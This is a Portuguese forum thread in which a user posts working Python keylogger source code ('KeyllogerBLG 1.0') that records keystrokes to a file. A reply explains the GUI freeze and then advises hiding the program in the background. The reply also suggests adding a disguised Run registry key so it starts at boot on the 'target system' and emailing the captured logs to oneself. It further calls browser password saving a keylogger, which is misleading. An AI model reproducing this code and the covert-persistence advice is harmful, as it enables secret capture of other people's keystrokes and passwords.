Ir ao conteúdo
  • Cadastre-se

Python Função para ativar e desativar Listener


Posts recomendados

Bom pessoal tenho o seguinte codigo.

Ele funciona perfeitamente. Porém, quando eu clico no botão iniciar, o programa trava , porém continua funcionando la no console.

Queria saber se tem um jeito de eu criar apenas uma função para habilitar e desabilitar o listener. e queria saber o porque meu programa ta travando.

É python e tkinter

from pynput.keyboard import Listener
from tkinter import *
from functools import partial

def press(key):
    keyd = str(key)
    keyd = keyd.replace("'","")
    if (keyd == "Key.space" or keyd== "Key.shift_r" or keyd=="Key.ctrl_l" or 
    keyd=="Key.caps_lock" or keyd == "Key.right" or keyd == "Key.left" 
    or keyd == "Key.right" or keyd == "Key.ctrl_r" or keyd== 'Key.backspace'
    or keyd == 'Key.shift' or keyd == 'Key.tab' or keyd == 'Key.cmd'):
        keyd = ""
    with open('KeyTester.docx', "a") as op:
        op.write(keyd + "\n")
    print(keyd)

def ena():
    with Listener(on_press=press) as l:
        l.join()
def dis():
    with Listener(on_press=press) as l:
        l.stop()
        
#CONTROLLER
window = Tk()

#BUTTON
bt1 = Button(window, text="Iniciar Atividade", command=ena).grid()
bt2 = Button(window, text="Parar Atividade", command=dis).grid()
btRel = Button(window, text="Verificar Relatório").grid()

#CONFIG
window.title('KeyllogerBLG 1.0')
window.geometry("300x200+1200+400")
window.mainloop()

 

Link para o comentário
Compartilhar em outros sites

Em 06/07/2019 às 18:01, WhiteHatPR disse:

Bom pessoal tenho o seguinte codigo.

Ele funciona perfeitamente. Porém, quando eu clico no botão iniciar, o programa trava , porém continua funcionando la no console.

Queria saber se tem um jeito de eu criar apenas uma função para habilitar e desabilitar o listener. e queria saber o porque meu programa ta travando.

É python e tkinter


from pynput.keyboard import Listener
from tkinter import *
from functools import partial

def press(key):
    keyd = str(key)
    keyd = keyd.replace("'","")
    if (keyd == "Key.space" or keyd== "Key.shift_r" or keyd=="Key.ctrl_l" or 
    keyd=="Key.caps_lock" or keyd == "Key.right" or keyd == "Key.left" 
    or keyd == "Key.right" or keyd == "Key.ctrl_r" or keyd== 'Key.backspace'
    or keyd == 'Key.shift' or keyd == 'Key.tab' or keyd == 'Key.cmd'):
        keyd = ""
    with open('KeyTester.docx', "a") as op:
        op.write(keyd + "\n")
    print(keyd)

def ena():
    with Listener(on_press=press) as l:
        l.join()
def dis():
    with Listener(on_press=press) as l:
        l.stop()
        
#CONTROLLER
window = Tk()

#BUTTON
bt1 = Button(window, text="Iniciar Atividade", command=ena).grid()
bt2 = Button(window, text="Parar Atividade", command=dis).grid()
btRel = Button(window, text="Verificar Relatório").grid()

#CONFIG
window.title('KeyllogerBLG 1.0')
window.geometry("300x200+1200+400")
window.mainloop()

 

 

Não é que ele trava...ele fica rodando continuamente a biblioteca do pynput e por isso a parte gráfica dele fica em loop e dando a impressão de travada.

 

Se quer manter o keylogger funcional, elimine a parte gráfica dele toda e o faça rodar no segundo plano.

 

Antes de iniciar o keylogger execute uma função(implemente ela) que leia o registro do windows(se for o sistema alvo) e verifique se existe uma chave de inicialização(você deve nomear ela), por exemplo:

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysKbd\kl.exe

 

onde: SysKbd se refere ao nome de dua chave e kl.exe o nome de sua aplicação.

 

Se já existir SysKbd roda o keylogger normalmente, e se não existir cria essa chave SysKbd e dentro dela como "valor da cadeia de caracteres" ou "string value", o kl.exe

 

Para acessar o registro do windows via Python leia aqui: https://www.carlissongaldino.com.br/post/editando-o-registro-do-windows-em-python-com-o-winreg

 

Quando se cria essa chave no registro o seu programa passa a rodar e executar todas as rotinas de forma automática ao ligar o computador.

 

A saída do seu log de teclas pode ser feita localmente em uma pasta que você deve determinar onde será armazenado ou então enviar por e-mail via Python a voce.

 

Por último: Para dar um stop ou pause no keylogger, penso em várias formas de fazer isso, uma seria na sua rotina de inicialização depois de verificar o registro, você poderia criar uma outra chave em outra parte do registro com o valor False ou True, esse valor diz ao seu keylogger se ele deve continuar a monitorar ou parar/pausar o trabalho, pode verificar também um intervalo entre datas, ou contar dias progressivamente.

 

O Keylogger tem muitas utilidades e usamos quase sem perceber no dia-a-dia, sabe aquela função dos navegadores para "lembrar senhas?", pois é, ali é um keylogger que armazena sua senha no seu PC e na sua conta na nuvem para lembrar depois online ou offline.

Link para o comentário
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisa ser um usuário para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!

Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.

Entrar agora

Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas comunidades sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×
×
  • Criar novo...